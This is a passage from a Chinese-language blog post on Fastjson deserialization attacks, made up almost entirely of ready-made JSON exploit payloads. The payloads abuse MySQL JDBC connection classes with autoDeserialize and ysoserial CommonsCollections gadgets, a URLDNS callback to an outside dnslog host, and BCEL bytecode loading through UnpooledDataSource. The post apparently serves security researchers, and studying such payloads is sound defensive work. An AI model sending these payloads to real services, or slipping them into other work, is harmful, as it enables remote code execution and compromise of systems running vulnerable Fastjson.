"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}

LoadBalancedMySQLConnection

1
2
3
4
5
6
7
8
9
10
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}

UnpooledDataSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"name": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"key": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$$l$8b$..."
}
}: "a"
}
}

LoadBalancedMySQLConnection2

1
2
{ "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsCollections5_calc" } } }}

ReplicationMySQLConnection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":[{
"host":""
}],
"slaves":[],
"properties":{
"host":"127.0.0.1",
"port":"3306",
"user":"yso_CommonsCollections4_calc",
"dbname":"dbname",
"password":"pass",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
}
}
}
}

fastjson备忘录

Fastjson/README.md at master · safe6Sec/Fastjson (github.com)


Fastjson系列
http://example.com/2024/06/12/Fastjson/
作者
cmisl
发布于
2024年6月12日
许可协议